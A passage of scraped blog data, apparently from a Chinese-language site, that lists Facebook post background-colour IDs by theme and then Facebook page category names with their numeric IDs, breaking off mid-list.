135 风景 776467815861328 136 风景 308229619684986 137 风景 1245148202264654 138 风景 540201056344741 139 风景 343832459419251 140 风景 139034353465296 141 风景 233556527178929 142 风景 1019755339166341 143 风景 169238510333539 144 风景 205263936712310 145 风景 710893630898745 146 风景 676677941094852 147 风景 23875494455430755 148 风景 2917446591867570 149 花纹 209057382971164 150 花纹 141781269930847 151 花纹 214298892688537 152 花纹 738912479628791 153 花纹 171846623369142 154 花纹 349149995526207 155 花纹 1646129128813120 156 花纹 364046384062791 157 花纹 2099216743699622 158 渐变 1996901660562063 159 渐变 182739109094750 160 渐变 218067308976029 161 渐变 1679248482160767 162 渐变 1654916007940525 163 渐变 1792915444087912 164 渐变 446330032368780 165 渐变 621731364695726 166 渐变 901751159967576 167 渐变 1221088758013590 168 渐变 365783880436034 169 渐变 443681549346681 170 渐变 814910605325191 171 渐变 688479024672716 172 渐变 1665482463761655 173 渐变 1840115832874243 174 渐变 324777221272701 175 渐变 1063121387542624 176 渐变 1777259169190672 177 渐变 1941912679424590 178 渐变 122708641613922 179 渐变 173535221234947 180 渐变 121945541697934 181 渐变 1705020913127345 182 渐变 288211338285858 183 渐变 100114277230063 184 渐变 303063890126415 185 渐变 249307305544279 186 渐变 870241763113497 187 渐变 404507133730824 188 渐变 2370297913009333 189 渐变 207915133341905 190 渐变 1698375866878341 191 渐变 931584293685988 192 渐变 392210437932621 193 渐变 794812087383368 194 渐变 2153095484922630 195 渐变 394939291024449 196 渐变 1452114928969476 197 渐变 2059241104395826 198 渐变 423339708139719 199 渐变 643451595995040 200 渐变 112460982937499 201 渐变 248834369200615 202 渐变 175493843120364 203 渐变 494268517655448 204 渐变 387928695037272 205 渐变 1434342216673945 206 渐变 840162899477050 207 渐变 240499496476810 208 渐变 390716181443289 209 渐变 753398924860281 210 渐变 181112579271867 211 渐变 927413067427178 212 渐变 6524876100975152 213 渐变 352226107216239 214 渐变 1718609505251057 215 渐变 650785203544528 216 渐变 1690448544763812 217 渐变 1531491134287540 218 渐变 6684976008247346 219 渐变 966041224497883 220 渐变 149887694868218 221 渐变 299890096121791 222 渐变 681225170735955 223 渐变 1012699409936684 224 渐变 844319284091919 225 渐变 422994794836896 226 渐变 639000325036183 227 渐变 362797391019758 228 渐变 1007203310607963 229 节日 新年 349933208919491 230 节日 新年 126911254916965 231 节日 新年 4722965231145013 232 节日 新年 490356751588632 233 节日 新年 839689803139846 234 节日 新年 223595302808792 235 节日 新年 284176505446461 236 节日 新年 990479471447319 237 节日 739107963088348 238 节日 印度教 排灯节 112820406268611 239 节日 犹太教 光明节 1396409060564304 240 节日 犹太教 光明节 2879355185430171 241 节日 犹太教 光明节 2344802215810980 242 节日 犹太教 光明节 612957429246391 243 节日 圣诞节 140279353298101 244 节日 圣诞节 750846605272776 245 节日 印度教 排灯节 493387477832232 246 节日 印度教 排灯节 316546669141617 247 节日 印度教 排灯节 1958745304426389 248 节日 犹太教 光明节 549881065441512 249 节日 印度教 排灯节 205340743555899 250 节日 印度教 排灯节 716200562066682 251 节日 印度教 排灯节 422799118620665 252 节日 万圣节 910735725799501 253 节日 生日 2022131001356762 254 节日 生日 1805398469505224 255 节日 生日 1867224010255891 256 节日 生日 3401009860210546 257 节日 生日 192392958167120 258 节日 生日 247569956393099 259 节日 1538829372863482 260 节日 1723026288124782 261 节日 847821360169458 262 节日 429514294593535 263 节日 258952168133732 264 节日 447934052791281 265 其它 伊斯兰教 118501805517738 266 其它 409482136128564 267 其它 319468561816672 268 其它 1252758614803325 269 其它 459219471140856 270 其它 294151661029286 271 其它 555579938613488 272 其它 225753758840882 273 其它 509546276320999 274 其它 443652859619420 275 其它 887006601475428 276 其它 1050070382117121 277 其它 741285863198429 278 其它 2914656075473100 279 其它 280545582445137 280 其它 327616211059208 281 其它 767006460174140 282 其它 1590118757742435 283 其它 2070672249875122 284 其它 511922019206519 285 其它 2080100245554727 286 其它 2137016686532204 287 其它 495180284215970 288 其它 993780377442365 289 其它 1570140059742658 290 其它 533086770409612 291 其它 2084850815083551 292 其它 824850677716355 293 其它 2001629730084887 294 其它 1969653033284072 295 其它 796331547218721 296 其它 216200295606279 297 其它 122069772079533 298 其它 162418564533047 299 其它 146176342715258 300 其它 983280818723091 301 其它 同性恋 1024741991026613 302 其它 同性恋 185775868914173 303 其它 同性恋 466267484143179 304 其它 同性恋 816008591908985 305 其它 同性恋 451772878920216 306 其它 同性恋 640839499659938 307 其它 跨性别 2498488296848332 308 其它 987263528552161 309 其它 361549614489058 310 其它 443152422856521 311 其它 445350286358326 312 其它 532471854017582 313 其它 嬉皮士 126396484758320 314 其它 408416683167502 315 其它 540341140095905 316 其它 971916999992695 317 其它 1414613722059035 318 其它 421092361935859 319 其它 1238081656394392 320 其它 280061742654758 321 其它 772369029903872 322 其它 2032867517065312 323 其它 231438476584844 324 其它 1655172555010455 325 其它 1953054055059680 326 其它 1369831517263092 327 其它 820220726468391 328 其它 328761036360061 329 其它 483755959164873 330 其它 330003257403452 331 其它 656255918244954 332 其它 862105224398163 333 其它 2075204749181345 334 其它 2302399499892142 335 其它 2503628779910135 336 食物 鸡蛋 862667370603267 337 食物 华夫饼 552118025129095 338 食物 蛋糕 1466076866833987 339 食物 牛角包 607447746283655 340 食物 胡萝卜、甜菜、草莓、梨 231799574757756 341 食物 南瓜 939061979793768 342 食物 面条 1638090489612431 343 食物 米饭 172006383420203 344 食物 糖果 564550247675824 345 食物 南瓜 2521774428045336 346 食物 苹果 621801711342962 347 水果 橙子 142648029936279 348 水果 橙子 178986852812190 349 水果 橙子 160419724814650 350 水果 橙子 174496469882866 351 水果 苹果 263789377694911 352 水果 青苹果 466587237108365 353 水果 牛油果 416346892109454 354 水果 香蕉 520417131911088 355 水果 菠萝 256440858237773 356 水果 菠萝 183875098988017 357 水果 西瓜 172497526576609 358 水果 柠檬 551220455279010 359 水果 橙子 217242945506199 360 水果 菠萝、香蕉、玉米 2055507981372719 361 体育 足球 238994793536659 362 体育 足球 357754874630720 363 体育 足球 127541261450947 364 体育 足球 2038527063029863 365 体育 篮球 559601404432552 366 体育 舞蹈 1928507880514640 367 体育 滑雪 583501312437609 368 体育 222294651896916 369 体育 滑雪 1704322613037607 370 体育 滑雪 1786837988286472 371 体育 缆车 3638280249622627 372 体育 举重 681717842372541 373 体育 足球 1945630225698131 374 体育 橄榄球场 530572310656388 375 体育 橄榄球 1369773906467697 376 体育 橄榄球 233793477161949 377 体育 183090645783780 378 体育 游泳 566557953685712 379 图案 271526630174527 380 图案 468537540215703 381 图案 1869514639786977 382 图案 418381131943702 383 图案 125023488228169 384 图案 926452517518903 385 图案 390923231450691 386 消息气泡 1790865141205098 387 消息气泡 1414447695342424 388 消息气泡 171213643437106 389 消息气泡 126877221295325 390 消息气泡 139950256618090 391 心形图案 同性恋 288449092200399 392 心形图案 333385263998628 393 心形图案 148862695775447 394 心形图案 518948401838663 395 心形图案 217321755510854 396 心形图案 1711103888933913 397 心形图案 127281214508877 398 心形图案 1879686378959026 399 心形图案 623911921148129 400 心形图案 161409924510923 401 心形图案 228164237768720 402 心形图案 437463493301534 403 心形图案 2398503527040238 404 心形图案 1943057695973225 405 心形图案 861250769045725 406 心形图案 233245916398282 407 心形图案 732044718735090 408 心形图案 1632677226786011 409 星空 939914969511927 410 星空 921225414706384 411 星空 1974886472751579 412 虚拟形象 生日 1219505891824980 413 虚拟形象 423487755852608 414 虚拟形象 335525448382588 415 虚拟形象 450256376566331 416 虚拟形象 5353027238057142 417 虚拟形象 2618925845077932 418 虚拟形象 1106713640138695 419 虚拟形象 291138356222688 420 虚拟形象 246321663676645 421 虚拟形象 341286230711623 422 虚拟形象 354142159553339 423 虚拟形象 343593844153516 424 虚拟形象 640772077321746 425 虚拟形象 997371870824260 426 虚拟形象 同性恋 864691964201937 427 虚拟形象 786606415634785 428 虚拟形象 生日 295811916086237 429 虚拟形象 544239310454324 430 虚拟形象 1968831220171652 431 虚拟形象 422776869186173 432 虚拟形象 525007002665394 433 虚拟形象 374320364643530 434 虚拟形象 7389085154495822 435 虚拟形象 生日 507069860872552 436 虚拟形象 705781113878672 437 虚拟形象 犹太教 光明节 998622744365920 438 虚拟形象 圣诞节 659294402089615 439 虚拟形象 480561986557820 440 虚拟形象 新年 247459227371042 441 虚拟形象 篮球 308285057819206 442 虚拟形象 206317411591834 443 虚拟形象 258864639634189 444 虚拟形象 橄榄球 623799502105669 445 植物 606643333067842 446 植物 2038921599720838 447 植物 182420025741281 448 植物 2351379025089161 449 植物 273122420232544 450 植物 206469036512971 451 植物 192444944695904 452 植物 134273813910336 453 植物 186109615426787 454 植物 380320625813653 455 植物 254470808468481 456 植物 365653833956649 457 植物 2091111677834062 458 植物 271695520040037 459 植物 174141573267874 460 植物 2078292082426788 461 植物 310601642809972 462 植物 941868452651037 463 植物 306075339932353 464 植物 264204594322309 465 植物 245711845973350 466 植物 134404560547212 467 植物 424283228025370 468 植物 1929175813854027 469 植物 396343990807392 470 植物 1644395429188862 471 植物 1872549619680358 472 植物 234778270631498 473 植物 3004105109819362 474 植物 166541304078067 475 植物 473180376436563 476 植物 1438275806209049 477 植物 1919961274941836 478 植物 371707276574370 479 植物 373215586408461 480 植物 180728499174333 481 植物 1490343837701145 482 植物 321719154990517 483 植物 1942588249295104 484 植物 1254923994693143 485 植物 180209176185918 486 植物 952700511795201 487 植物 233817987124338 488 植物 371281566632961 相关推荐: 彩色背景帖子 使用方法 Facebook 专页类别列表 Facebook 爱好列表 Facebook 小组徽章 ","tags":[{"name":"Facebook","slug":"facebook","used":true,"link":"https://dev-coco.github.io/tag/facebook/"}],"title":"Facebook 背景颜色列表","feature":"","link":"https://dev-coco.github.io/post/Facebook-Background-Color/","stats":{"text":"12 min read","time":668000,"words":2430,"minutes":12},"date":"2022-09-15 08:20:11","dateFormat":"2022-09-15"},{"content":"Facebook 专页类别的名称和 ID 列表。 序号 名称 ID 1 阿布鲁佐餐厅 114682585623877 2 阿富汗餐馆 121058704635534 3 阿根廷餐厅 205735146122517 4 阿拉伯餐厅 723460654424134 5 阿塞拜疆餐厅 257879427905053 6 阿瓦德餐厅 1737358543190026 7 埃及餐厅 146111019132409 8 埃塞俄比亚餐馆 205689066126145 9 艾米利亚罗马涅餐馆 723440371131697 10 爱尔兰餐馆 137463256320813 11 爱尔兰酒吧 248856718821424 12 安得拉餐厅 954878187943885 13 安徽餐厅 195972097470194 14 按摩服务 109578329118821 15 按摩师 726846324122041 16 按摩学校 810846759015963 17 奥地利餐厅 772733776201497 18 奥斯塔餐厅 1751315025152495 19 澳门餐厅 1174919195872006 20 巴达维餐厅 839018499565070 21 巴登餐厅 1546103379030851 22 巴东餐厅 1717659871845137 23 巴伐利亚餐厅 285683351770109 24 巴基斯坦风味餐厅 207484765932960 25 巴拉圭餐厅 724968180977676 26 巴厘餐厅 593230974170585 27 巴拿马餐厅 1741013709474010 28 巴斯克风味餐馆 191373750905077 29 巴斯利卡塔餐厅 578871278949306 30 巴西餐馆 185459711490789 31 白俄罗斯餐厅 1739414649662761 32 百货商店 344508555610070 33 百吉饼店 1545764135732572 34 百叶窗和窗帘商店 197154743629294 35 搬家公司 185880521445708 36 搬家用品商店 124999390906893 37 搬运和仓储服务 132521440149062 38 板球场 279407562408138 39 办公用具店 152181445195236 40 办公用品 110249975723427 41 棒球场 1762098937366442 42 棒球练习场 199544366729511 43 棒球体育馆 1009617479115579 44 包车服务 108512435893415 45 保加利亚餐厅 252611215108984 46 保健/美容 2214 47 保健/美容 2214 48 保健食品商店 198722103478014 49 保健水疗 211987392145473 50 保龄球馆 182582091788254 51 保姆 114044592008363 52 保姆 212086618801415 53 保险代理人 152339818172592 54 保险公司 2236 55 保险经纪人 109594239116608 56 报税服务 133381803394214 57 报摊 829505473848469 58 报纸 108366235907857 59 杯形蛋糕店 325310894151007 60 北京餐厅 142820502803694 61 北印度餐厅 1001940186594348 62 北印度餐厅 1550167575288517 63 备考中心 191914921205687 64 比利时餐厅 113581542055311 65 壁炉商店 124620910942599 66 壁球场 640743999421537 67 避险基金 1060451310714939 68 编剧 917806388848623 69 编曲人 3564176307040352 70 便利店 200253979990258 71 标本剥制师 171385766240459 72 标志与横幅服务 188953757794108 73 表演艺术 1758092431143387 74 表演艺术 756092301147942 75 表演艺术剧院 173883042668223 76 表演艺术学校 187301137968148 77 冰淇淋店 200863816597800 78 冰球场 250169352016885 79 冰球场 706882379454361 80 冰沙店 1742050506043834 81 波斯/伊朗餐厅 109377152477621 82 玻璃吹制工 1703306846553672 83 玻璃服务 199562100074695 84 玻璃制造商 1612564135722539 85 玻璃装镜店 141311482955254 86 玻利维亚餐厅 1728916100723508 87 播客 627651640670228 88 伯利兹餐厅 1634783850094416 89 博物馆 197817313562497 90 布料店 986118931495301 91 财产规划律师 180001142041484 92 财产律师 199832016699296 93 财务顾问 299288747078724 94 彩票零售商 198170790193825 95 参考网站 2711 96 餐馆 273819889375819 97 餐馆 273819889375819 98 餐馆用品批发商 191334337551378 99 餐厅用品店 197260276952187 100 餐饮服务 180699075298665 101 残疾人服务 189687247721960 102 测量员 164080003645425 103 茶馆 203462172997785 104 唱片公司 1211 105 超级市场 1153901557995608 106 超市 150108431712141 107 车管所 192644094099081 108 车库/停车场 200027430011994 109 车库门维修服务 199850580046875 110 车辆登记中心 1039745942775544 111 成人娱乐服务 187623434605561 112 成人娱乐会所 1914652408802034 113 承包商 124816677590074 114 城堡 279433649070367 115 城市基础设施 1713595685546855 116 城市农场 239455319478077 117 冲浪点 151723701557019 118 冲浪用具店 1728434034087987 119 冲浪运动中心 1161467567229808 120 虫害防治服务 177939525582614 121 宠物保姆 208287852530384 122 宠物店 188573091164316 123 宠物服务 144982405562750 124 宠物公墓 179692792071824 125 宠物狗日托中心 128415180914694 126 宠物咖啡馆 988079354639718 127 宠物乐园 186911214686518 128 宠物领养服务 1203172043048652 129 宠物美容师 163003840417682 130 宠物美容师 849035302450077 131 宠物饲养员 140154442713316 132 宠物用品 2230 133 厨房/烹饪 132852590115660 134 厨师 1606 135 厨浴承包商 1008917735850635 136 川菜馆 1748542362059803 137 船舶服务站 132948550106442 138 船只 / 帆船教练 1740176306230257 139 船只服务 163431627040738 140 船只经销商 124886030917279 141 船只租赁 170474162998885 142 窗户安装服务 192041444166324 143 床垫批发商 132452193487149 144 床垫生产商 203842589633696 145 床垫专卖店 191990114153751 146 慈善组织 226326230802065 147 存储设施 163459287040281 148 鞑靼餐厅 142236849518532 149 大巴观光旅行社 641983825955669 150 大型零售商 209535879087405 151 大学院校 2602 152 贷款咨询服务 108443649233212 153 导游 175657495818161 154 地毯清洁工 210709755608101 155 地毯与地板材料商店 191328180890797 156 地铁站 1301884929841298 157 地中海风味餐厅 176960322351733 158 灯具店 196820813663200 159 灯塔 1602118933411700 160 抵押经纪人 136191809788079 161 电单车出租 211125172246436 162 电工 199182823425834 163 电竞联赛 1769577526672701 164 电竞团队 1235527809885935 165 电脑(品牌) 2210 166 电脑公司 2255 167 电脑商店 199512783398620 168 电脑维修服务 108472109230615 169 电器 150060378385891 170 电器维修服务 524610794394677 171 电视服务提供商 147757072316244 172 电视季 791314250889943 173 电视节目 1400 174 电视频道 1404 175 电视网络 1402 176 电视维修服务 2349233981790281 177 电梯服务 189040354450145 178 电信公司 2253 179 电影 1105 180 电影 1105 181 电影导演 502966423232592 182 电影副导演 881269865848908 183 电影监制 887571918541358 184 电影剪辑师 266119828750900 185 电影角色 1114 186 电影摄影师 144575131220615 187 电影院 192511100766680 188 电子产品 2213 189 电子产品店 187937741228885 190 电子产品公司 1202159779814354 191 电子香烟店 142431502842979 192 电子游戏 211579738882707 193 电子游戏室 201429350256874 194 雕塑公园 1362755683740187 195 雕塑家 399569185041896 196 钓鱼点 141810199571801 197 钓鱼用具店 281652712182174 198 调酒服务 191612347546618 199 调酒学校 1728918177380305 200 东北餐厅 603947469774673 201 东欧餐厅 1053404298085296 202 东正教会 201201106561123 203 动物 2621 204 动物救援服务 2966506483423470 205 动物救援服务 2966510000000000 206 动物收容所 170810676298376 207 动物园 1191146560918930 208 洞穴 1704070443191473 209 独立教会 188625341157848 210 独木舟和皮划艇租赁 1702495036678885 211 赌场 187724814583579 212 度假酒店 187686707929197 213 度假屋出租 192686080759400 214 多明尼加餐厅 253084371730468 215 多萨餐厅 2051845931706445 216 厄瓜多尔餐厅 291301174543500 217 儿科医生 132003726865268 218 儿童保护服务 162948187091210 219 儿童看护服务 181811248521973 220 儿童牙医 540275259509408 221 二手车 1035649517261445 222 二手物品商店 205429726142620 223 发廊 174177802634376 224 发行商 191684877517919 225 法律服务 2025086974383657 226 法式餐厅 168976549819329 227 法院 110121459069433 228 房车公园 957437364355057 229 房车露营地 204359242921685 230 房车修理店 186657301367693 231 房车租赁 463453217765006 232 房地产 198327773511962 233 房地产 198327773511962 234 房地产服务 192625037432720 235 房地产公司 1695505857377984 236 房地产经纪人 196739023685716 237 房地产开发商 162532913805106 238 房地产投资公司 150944301629503 239 房屋粉刷服务 1596337297362924 240 房屋看管 189771787733424 241 房屋美容服务 1035020696612933 242 房屋租赁纠纷律师 540629572786932 243 纺织品公司 185512691489656 244 飞机经销商 1626247471027955 245 非政府组织 2235 246 非洲风味餐馆 171226896258682 247 非洲卫理公会 141538499244285 248 菲律宾餐厅 107287559351594 249 废弃物管理公司 121989644542468 250 分子料理餐厅 1014679391903073 251 粉丝主页 660696964377118 252 风湿病专家 1624613814522490 253 风筝冲浪中心 1545096665800188 254 讽刺/调侃 418291885638834 255 缝纫与服装修改 140784189318631 256 弗留利-威尼斯朱利亚餐厅 1715779848685080 257 佛教寺庙 201230299890531 258 服装 1086422341396773 259 服装(品牌) 2209 260 服装店 186230924744328 261 服装公司 623704114455366 262 服装经销商 214668188548441 263 服装设计师 1334682686948239 264 福音派教会 108447855899758 265 盖浇饭餐厅 619109018238267 266 干洗店 133148010085253 267 港口 350040338394916 268 港式餐厅 512762212262409 269 高尔夫教练 1823351031218612 270 高尔夫球场 177734062274696 271 高尔夫球场和乡村俱乐部 176059775772759 272 高尔夫球车经销商 1743341135930622 273 高速公路 214332375266411 274 高中 110152272401235 275 哥伦比亚餐厅 815264205274993 276 哥斯达黎加餐厅 246232599091536 277 歌剧院 1071626812928876 278 歌曲 1201 279 歌曲 1201 280 歌曲创作人 706153577016970 281 歌手 1062586164506537 282 歌手 1335670856447673 283 歌手/乐队 180164648685982 284 歌手/乐队 180164648685982 285 工程服务 400062273344681 286 工会 192775991124365 287 工商业 243290832429433 288 工业公司 2241 289 工艺美术品商店 153635828025130 290 公车站 144386572288836 291 公共服务 139386576124160 292 公共关系公司 192021210817573 293 公共广场 110207655727714 294 公共汽车公司 138456929557798 295 公共游泳池 124887510918208 296 公交系统 1588880211410039 297 公理教会 200157403331937 298 公立学校 199405806739848 299 公墓 191060874251260 300 公司律师 162479300468980 301 公益组织 2606 302 公园 115090141929327 303 公园 923358744476601 304 公证人 108459679231422 305 供暖、通风与空调服务 132219350176698 306 宫殿 1718496305079765 307 拱廊 164409566941435 308 狗饲养员 1097498617107646 309 购物服务 200046713342752 310 购物区 136412456432179 311 购物中心 109527622457518 312 古巴餐厅 192804194073047 313 古董店 150732438316813 314 古吉拉特餐厅 1599573383690629 315 骨科医生 496121607250568 316 骨科医生 856858884419958 317 鼓手 1020284742162494 318 管道维修服务 178867352155084 319 管理服务 201528873201605 320 广播电台 1210 321 广播与媒体制作公司 169056916473899 322 广告/营销 1757592557789532 323 广告策划经销商/广告代理 164886566892249 324 鬼屋 133534277068159 325 贵州餐厅 281488958908005 326 国会大厦 1119590681415409 327 国家公园 205359639482698 328 国家森林 622850591212987 329 果阿餐厅 203826520012200 330 海得拉巴餐厅 1089104457814725 331 海地餐厅 1765498203668682 332 海港 247394978966683 333 海南餐厅 1101938483219348 334 海塞餐厅 1730521793860200 335 海事用品商店 114253171987086 336 海滩 199165013440146 337 海滩度假村 199734546726648 338 海湾 1758136817740912 339 海鲜餐厅 163300367054197 340 韩国餐馆 150896171638138 341 汉堡店 187425207958280 342 旱冰场 806717229458955 343 航空电子用品店 892214644278546 344 航空公司 110192549061839 345 航空公司 2244 346 航空维修站 2198270550400605 347 航空学校 186032081419494 348 航空业服务 180428515332153 349 豪车服务 196941987012177 350 豪宅 654455208045685 351 合唱团 1664274330313158 352 合唱指挥 1447672712294239 353 合约律师 1153301954734631 354 河南餐厅 264650023893283 355 洪都拉斯餐厅 528260260699780 356 候机室 223760917681177 357 湖北餐厅 840334356111686 358 互联网公司 2256 359 互联网营销服务 1706730532910578 360 户外与体育用品公司 2231 361 户外装备店 153490828039067 362 护肤服务 1644814599176740 363 护理学校 1730240667193774 364 护照与签证服务 149044025154029 365 花商 192111490806699 366 滑板店 1775647139385449 367 滑板公园 253482421696626 368 滑翔运动中心 1011358132304347 369 滑雪胜地 162841010432730 370 滑雪与单板滑雪学校 144087115657937 371 滑雪装备店 526154577570152 372 化学品公司 191334714243008 373 化妆品店 144873802247220 374 化妆师 146059155460366 375 画家 177645802278169 376 画廊 197384240287028 377 怀石料理餐厅 1108914325848223 378 淮扬菜餐厅 1015320005218639 379 环保组织 191523214199822 380 环境顾问 128268517241197 381 环境建设公司 128853933850116 382 会计 139976092733827 383 会展中心 134015953331113 384 绘画课 487761925317535 385 婚礼策划服务 191173027579272 386 婚庆场地 1698627513779470 387 婚纱店 103446129740239 388 婚姻治疗师 1751153718488321 389 混凝土承包商 179618232079666 390 活动板房服务 180720568631853 391 活动策划人 193705277324704 392 活动摄像师 1719867628280173 393 活动住房经销商 190189837667432 394 火车站 145887745471348 395 火车站 1609255626032547 396 货币兑换 189172844438073 397 击剑俱乐部 279040502446357 398 机场 128966563840349 399 机场班车服务 170817119631096 400 机场航站楼 177950465654024 401 机器人研发公司 292231357479999 402 机械店 1546827428955819 403 机油滤芯服务 196357563722974 404 鸡尾酒吧 499741296896069 405 基督复临安息日教会 187333341297290 406 基督教会 184266718279692 407 基督教会 190152457675521 408 基督教科学会 121659614574801 409 基督教长老会 152783908110257 410 激光枪对战中心 232085443469192 411 激光脱毛服务 210460678964858 412 激光眼外科医生 1142926949081822 413 急救班 185032388204011 414 急救室 1135837856439520 415 记者 1604 416 纪念碑 276651312419490 417 纪念品商店 714231678717612 418 加拿大风味餐厅 202010786573294 419 加泰罗尼亚餐厅 1148633741855399 420 加油站 139272729470823 421 家电制造商 993795574067849 422 家教/教师 145296352197250 423 家居和园艺店 657099944438695 424 家居用品 2220 425 家居与园艺网站 2708 426 家居装饰 192647794097278 427 家居装修 108427109235243 428 家具 2219 429 家具店 162845797101278 430 家具维修和室内装潢服务 187813774574368 431 家庭护理 1730236023904374 432 家庭护理中介 1039977252754736 433 家庭式餐馆 192831537402299 434 家庭医生 1046789785375971 435 家庭医生 113914582020990 436 家庭医学实践 144657392262041 437 家庭影院器材店 145925682134541 438 家庭用品商店 183680385005847 439 家用酿酒用品店 148344028911374 440 嘉年华用品店 153755631345622 441 假发店 143160019083147 442 驾校 200010220031917 443 柬埔寨餐馆 191232370912538 444 减肥中心 1745728339006036 445 建筑材料 2216 446 建筑材料店 493153014212251 447 建筑公司 530126207179123 448 建筑观光旅行社 616472405174224 449 建筑设计师 1711765319078442 450 健康饮食餐厅 156756251046858 451 健康与保养网站 2707 452 健身房/健身中心 184405378265823 453 健身教练 181045748599578 454 健身模特 301500100194179 455 健身训练营 999176653484307 456 江西餐厅 1194944293851627 457 交通服务 152367304818850 458 交通学校 127806747288007 459 交响乐 181815448531059 460 交响乐团 1006597106868677 461 矫正与假肢服务 259263101097672 462 教会 192134360811676 463 教练 1802 464 教育顾问 199797140033948 465 教育网站 2704 466 教育研究中心 191921914160604 467 教育用品商店 163197293733225 468 接发服务 181550638549454 469 节目 1290986887644410 470 节日 596582600510249 471 结构工程师 260609830972978 472 捷克餐厅 261214747583517 473 姐妹会和兄弟会 165264720195968 474 戒毒中心 1618392255156255 475 戒酒中心 1743633335850804 476 戒瘾服务 1704452319818029 477 戒瘾中心 1339497709413701 478 戒瘾资源中心 187062101324297 479 借贷服务 128184253916402 480 金融策划师 211381282212118 481 金融服务 161516070564222 482 金属电镀服务公司 491721644355613 483 金属供应商 1122890141101989 484 金属构造工 1789406654621228 485 紧急道路救援服务 154067984646918 486 紧急救援服务 163102447071743 487 浸礼会 199819723365845 488 经济援助服务 114047665342448 489 精品店 288846958171402 490 景点和旅游网站 2715 491 酒吧 110290705711626 492 酒吧 135930436481618 493 酒吧 162480900474637 494 酒吧 192661127431931 495 酒吧与烧烤屋 233804719972590 496 酒店 164243073639257 497 酒店吧台 1711269729146680 498 酒店服务公司 199788206699825 499 酒店公寓 592405957634580 500 酒庄/葡萄园 209630435729071 501 剧集 1405 502 军事基地 220974118003804 503 军事律师 1122006771197547 504 咖啡馆 128673187201735 505 喀拉拉餐厅 142308136173482 506 卡车修理店 274181782971827 507 卡车租赁 139389149463981 508 卡丁车 235437449807086 509 卡拉 OK 187872604591327 510 卡拉布里亚餐厅 1730539947219715 511 卡纳塔克餐厅 1111358065572251 512 考古服务 176393675739023 513 科学博物馆 261213210912085 514 科学家 494338820719492 515 科学网站 2713 516 克什米尔餐厅 1704211183163706 517 客栈 181803978524025 518 口腔外科医生 1766963856917279 519 口腔修复科医师 1122154901182385 520 库存控制服务 190690290956124 521 库尔德餐厅 521963947988445 522 跨派系教会 198883503460766 523 快餐车 224426430990363 524 快餐店 192803624072087 525 快闪店 1149268685130897 526 矿业公司 2245 527 拉贾斯坦餐厅 558509727686210 528 拉面馆 218838724804749 529 篮球场 1800180516867389 530 篮球体育馆 302521450087214 531 乐队 792007097567368 532 乐器编曲人 363140815152348 533 乐器店 139750396088115 534 离婚与家庭律师 193005947395563 535 黎巴嫩餐厅 205479252799194 536 礼品店 191647907538150 537 礼堂 203246076360322 538 理发店 169758603141095 539 理疗师 181885068517499 540 历史博物馆 244600818962350 541 利古里亚餐厅 243179822727327 542 励志演说家 1720316034885300 543 疗养院 183037088401331 544 林业服务 1713190828964422 545 林业与伐木 121405177935134 546 灵恩教会 181531718550494 547 零售银行 473160749543703 548 领养服务 193245447371023 549 溜冰场 129327030469234 550 遛狗公园 868057450005138 551 遛狗人 201128353243142 552 路德教会 139462872784035 553 露营地 187004854667366 554 旅馆 199611383389617 555 旅馆/住宿 505091123022329 556 旅行服务 169581916792003 557 旅行社 124861974254366 558 旅行社 162914327091136 559 旅行社 762918620511586 560 旅行与交通 128232937246338 561 旅游公司 2258 562 旅游信息中心 124947834245370 563 律师与律师事务所 1099402320124913 564 伦巴第餐馆 887031731405318 565 罗马餐厅 1041250205923369 566 罗马尼亚餐厅 150631355348822 567 麻醉医师 1820484181508887 568 马车服务 180588421978578 569 马房 508302422702223 570 马哈拉施特拉餐馆 814705678660384 571 马来西亚餐厅 198383150193535 572 马术中心 1703124869910069 573 码头 1735215653393180 574 码头 197251360301109 575 码头 995197280538098 576 鳗鱼餐厅 1550678138571790 577 鳗鱼餐厅 270603316626628 578 满族餐厅 108551366238893 579 漫画书店 133510666716809 580 猫狗舍 189702521054390 581 帽子店 1608205356160444 582 玫瑰花园 1135820803141515 583 媒体/新闻公司 2233 584 媒体代理商 281507032196735 585 媒体评论员 628522311538760 586 美发师 677927743174611 587 美国黑人传统餐馆 156757354384541 588 美甲店 198516863494646 589 美甲师 988618678368025 590 美容、美妆与个人护理 139225689474222 591 美容、美妆与个人护理 139225689474222 592 美容学校 374053246098336 593 美容牙医 870647059745580 594 美容院 199236533423806 595 美食靓饮 314853004119510 596 美食酒吧 164049010316507 597 美食旅行社 194384204293028 598 美食评论员 1496287024068131 599 美式餐馆 149803325077018 600 美式传统快餐厅 167954166588517 601 美妆店 132666603831665 602 美妆店 191693100854505 603 美妆供应商 120731481338075 604 孟加拉餐厅 253008211735140 605 迷你高尔夫球场 145250718867825 606 泌尿科医生 908012952677478 607 免税店 787316684739091 608 缅甸餐馆 135761909830871 609 面食餐厅 533990753451464 610 民族特产店 144815382251809 611 名车租赁 198551986844046 612 模特 398802891882495 613 模特经纪公司 188763924479267 614 摩托车经销商 150820404974203 615 摩托车生产商 515528768630730 616 摩托车修理店 108287585916424 617 摩托艇租赁 1751068495163689 618 摩托运动用具店 153060148443004 619 魔术师 1028050117278980 620 莫利塞餐厅 998896386897971 621 墨西哥餐馆 199377230079198 622 墨西哥夹饼餐馆 456169874965661 623 母婴诊所 1709462009317490 624 木工 180833545285725 625 拿撒勒教会 149452815111438 626 那不勒斯餐厅 1736309956611963 627 纳德餐厅 155072361574861 628 奶茶店 1083443491742919 629 奶酪店 1713332308933888 630 奶酪火锅店 167116956674095 631 奶昔和果汁吧 219222658110242 632 男装店 170241263022353 633 南非餐厅 1632195680441031 634 南提洛尔餐厅 1717669581806563 635 南印度餐厅 985723901483233 636 内分泌医师 1008860315849688 637 内科医师 132227236842772 638 内衣店 1740922119519916 639 能源公司 2238 640 尼加拉瓜餐厅 1695716914024160 641 尼泊尔餐厅 186869748024304 642 尼日利亚餐厅 1134425483270572 643 酿酒厂 140112669728206 644 牛排店 198367566846946 645 农场 150815208309028 646 农村合作社 1555099458125522 647 农贸市场 176527262444235 648 农业 1574325646194878 649 农业服务 189323644423254 650 女性健康诊所 598325583660176 651 女佣和管家 110351045706277 652 女装店 128753240528981 653 欧陆餐厅 197227066968500 654 欧式餐馆 1508025966158640 655 爬行宠物店 254208054934939 656 帕拉丁餐厅 1176391832381659 657 帕西餐厅 459787410895768 658 拍卖行 192422584121096 659 排球场 524117677771991 660 派对和娱乐服务 189334414420898 661 派对用品与租赁店 109633322446882 662 攀岩点 1739936829555292 663 攀岩馆 174921992560086 664 泡饭餐厅 524747971048547 665 配饰 185127444860544 666 烹饪学校 182269951819423 667 批发烘焙坊 1013107675469307 668 批发及供应商店 